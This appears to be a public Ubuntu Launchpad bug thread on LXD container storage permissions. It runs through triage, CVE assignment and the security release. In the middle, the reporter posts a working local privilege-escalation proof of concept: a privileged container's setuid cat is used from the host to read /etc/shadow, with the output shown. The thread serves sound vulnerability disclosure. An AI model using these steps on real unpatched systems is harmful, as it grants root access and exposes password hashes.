Container contents are readable by anybody (eg. "nobody")

Bug #1584230 reported by Robie Basak
264
This bug affects 1 person
Affects Status Importance Assigned to Milestone
lxd (Ubuntu)
Fix Released
High
Unassigned

Bug Description

I don't know if this is intentional or not. /var/lib/lxd/zfs.img as created by "lxd init" is readable by other (644). /var/lib/lxd/containers/ is 711, but /var/lib/lxd/containers/<container>.zfs is 755 as is rootfs under there, so any user just needs to know the name of a container and can read the rootfs of any container.

cf. /var/lib/lxd/images which is 700, but this is pointless given that it is a mount of something inside /var/lib/lxd/zfs.img which is 644.

This seems inconsistent and thus I wonder if is unintentional. If /var/lib/lxd/images/ really should be 700, then surely zfs.img should not have the "other" read bit set? And why is /var/lib/lxd/containers/ 711 if anyone can get to the rootfs anyway? Is there something else that it needs to protect, or is this a mistake?

CVE References

Revision history for this message
Robie Basak (racb) wrote :

This is 2.0.0-0ubuntu4 on Xenial.

Revision history for this message
Seth Arnold (seth-arnold) wrote :

If you've got a distribution in a container with a vulnerable setuid-root executable it could be abused by an unprivileged user on the host to get real root on the system. So the filesystem storage is restricted to prevent untrusted users access. (Or, it _should_ be, we did a whole CVE dance for this once, right?)

The zfs iamge cannot be used for the same purpose so it does not need stricter permissions for this reason.

Thanks

Revision history for this message
Stéphane Graber (stgraber) wrote :

Right, the paths are properly restricted.

zfs.img really should be 600 but it being 644 isn't exactly exploitable as far as privilege escalation.

Revision history for this message
Robie Basak (racb) wrote : Re: [Bug 1584230] Re: Container contents are readable by anybody (eg. "nobody")

On Fri, May 20, 2016 at 11:40:33PM -0000, Seth Arnold wrote:
> If you've got a distribution in a container with a vulnerable setuid-
> root executable it could be abused by an unprivileged user on the host
> to get real root on the system. So the filesystem storage is restricted
> to prevent untrusted users access. (Or, it _should_ be, we did a whole
> CVE dance for this once, right?)

I think lxd is currently vulnerable to this. From memory of my
investigation yesterday, and based on my notes in the bug description,
/var/lib/lxd/containers/<container>.zfs/rootfs/usr/bin/setuid_binary is
reachable and executable by an unprivileged user on the host.

This is sort of unrelated to the zfs image being readable by anyone that
I originally had in mind.

I need to run right now but will try to remember to double-check this
when I'm back.

Revision history for this message
Stéphane Graber (stgraber) wrote :

Hmm, the code seems to disagree with you.

/var/lib/lxd/containers is 711 which allows traversal but not direct access. Then the container itself (or its rootfs) is 700 if the container is privileged, 711 otherwise which would only allow traversal to a given file if the container is unprivileged in which case, setuid doesn't apply.

Revision history for this message
Robie Basak (racb) wrote :

On Sat, May 21, 2016 at 12:13:30PM -0000, Stéphane Graber wrote:
> Hmm, the code seems to disagree with you.
>
> /var/lib/lxd/containers is 711 which allows traversal but not direct
> access. Then the container itself (or its rootfs) is 700 if the
> container is privileged, 711 otherwise which would only allow traversal
> to a given file if the container is unprivileged in which case, setuid
> doesn't apply.

This seems to be the case but seems trivial to work around. Privilege
escalation exploit below, tested on current Xenial. Looks like you don't
fix the permissions when going from unprivileged to privileged, which a
normal user (lxd group?) can do.

I would suggest that zfs.image and container or rootfs should always
be 6x0/7x0. It's surprising to me that it isn't. Even if unprivileged
setuid isn't exploitable, it is surprising to me that one user can see
inside another user's container subject to the guest's filesystem
permissions.

Exploit:

sudo apt-get update && sudo eatmydata apt-get -y dist-upgrade
sudo reboot
sudo eatmydata apt-get install zfsutils-linux
sudo lxd init

Name of the storage backend to use (dir or zfs): zfs
Create a new ZFS pool (yes/no)? yes
Name of the new ZFS pool: lxd
Would you like to use an existing block device (yes/no)? no
Size in GB of the new loop device (1GB minimum): 8
Would you like LXD to be available over the network (yes/no)? no
Do you want to configure the LXD bridge (yes/no)? no
LXD has been successfully configured.

lxc launch ubuntu:xenial guest
lxc config set guest security.privileged true
lxc stop guest
lxc start guest
lxc exec guest chmod 4755 /bin/cat

$ echo $UID
1000
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ /var/lib/lxd/containers/guest/rootfs/bin/cat /etc/shadow
root:*:16911:0:99999:7:::
...
$ dpkg-query -W lxd
lxd 2.0.0-0ubuntu4

Revision history for this message
Stéphane Graber (stgraber) wrote :

zfs.img definitely should have its permission fixed.

The container path is supposed to be chmod properly when you flip security.privileged so clearly we need to fix that whenever it's not the case.

If we chmod an unprivileged container 700, the container would fail to start as LXC won't be able to access the path. So we can't just do that, otherwise we would have from the start :)

Revision history for this message
Stéphane Graber (stgraber) wrote :

I'm working on the fixes today. This should result in two distinct fixes, potentially each getting its own CVE (will leave that up to the security team).

We will be fixing this by issuing a new upstream security release, most likely 2.0.2.

Will update once I have the fixes.

Revision history for this message
Stéphane Graber (stgraber) wrote :

Fixed the zfs.img part of this.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :

Security team, please assign two CVEs for this. I'll then update the upstream commits accordingly and run through all of the upstream CI ahead of tagging a security release.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Fix bad permissions on zfs.img is CVE-2016-1581.
Bad container permission after remap is CVE-2016-1582.

Revision history for this message
Stéphane Graber (stgraber) wrote :

Thanks.

I'll update the upstream commits and do testing tomorrow.

I want our current 2.0.1 to be released to xenial-updates before we push that security update, but that should happen tomorrow so we'll be fine.

How long do you need after I have the final upstream fixes until we can push the new version out?

I plan on providing:
 - Fix for CVE-2016-1581
 - Fix for CVE-2016-1582 (requires CVE-2016-1581 to be applied first)
 - Upstream release tarball for 2.0.2 (and matching GPG signature)
 - Source package for the Xenial upload.

I'll take care of the Yakkety upload myself once the Xenial one is out (I'll bundle a few more packaging changes in the yakkety one).

It's the first time that we do a security only release so it's going to be pretty manual on our end (can't rely on our github/jeknins tooling as it's all public) but it'll be a good experience to see what can be automated should we have to go through this more frequently.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :

Just attached the two updates patches. Those went through upstream CI using all the storage backends.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Changed in lxd (Ubuntu):
status: New → Triaged
importance: Undecided → High
Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :

Attached the patches for the stable branch, straight cherry-picks, also tested with upstream CI.

Revision history for this message
Stéphane Graber (stgraber) wrote :

Patches have been reviewed by Tycho and Serge.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :

Upstream tarballs for 2.0.2.

Security team: That should be all you need for communication to other distros ^

Let me know when you plan on releasing this so I can do the upstream release of 2.0.2 + push the fixed commits to upstream git.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

CRD is 2016-05-31 18:00:00 UTC.

Revision history for this message
Stéphane Graber (stgraber) wrote :
Revision history for this message
Stéphane Graber (stgraber) wrote :

Tentative patch for wily. Waiting for a PPA configuration tweak, will then upload packages for wily, xenial and yakkety to our security PPA and test them.

Once confirmed good, we can just binary copy them into -security on Tuesday.

Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxd - 0.20-0ubuntu4.2

---------------
lxd (0.20-0ubuntu4.2) wily; urgency=medium

  * Cherry-pick fix from upstream security release (2.0.2) (LP: #1584230)
    - CVE-2016-1582: Fix bad container permisisons after remap

 -- Stéphane Graber <email address hidden> Mon, 30 May 2016 17:51:08 -0400

Changed in lxd (Ubuntu):
status: Triaged → Fix Released
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxd - 2.0.2-0ubuntu1~16.04.1

---------------
lxd (2.0.2-0ubuntu1~16.04.1) xenial; urgency=medium

  * New upstream security release (2.0.2) (LP: #1584230)
    - CVE-2016-1581: Fix bad permissions on zfs.img
    - CVE-2016-1582: Fix bad container permisisons after remap

 -- Stéphane Graber <email address hidden> Mon, 30 May 2016 14:16:21 -0400

Changed in lxd (Ubuntu):
status: Triaged → Fix Released
information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.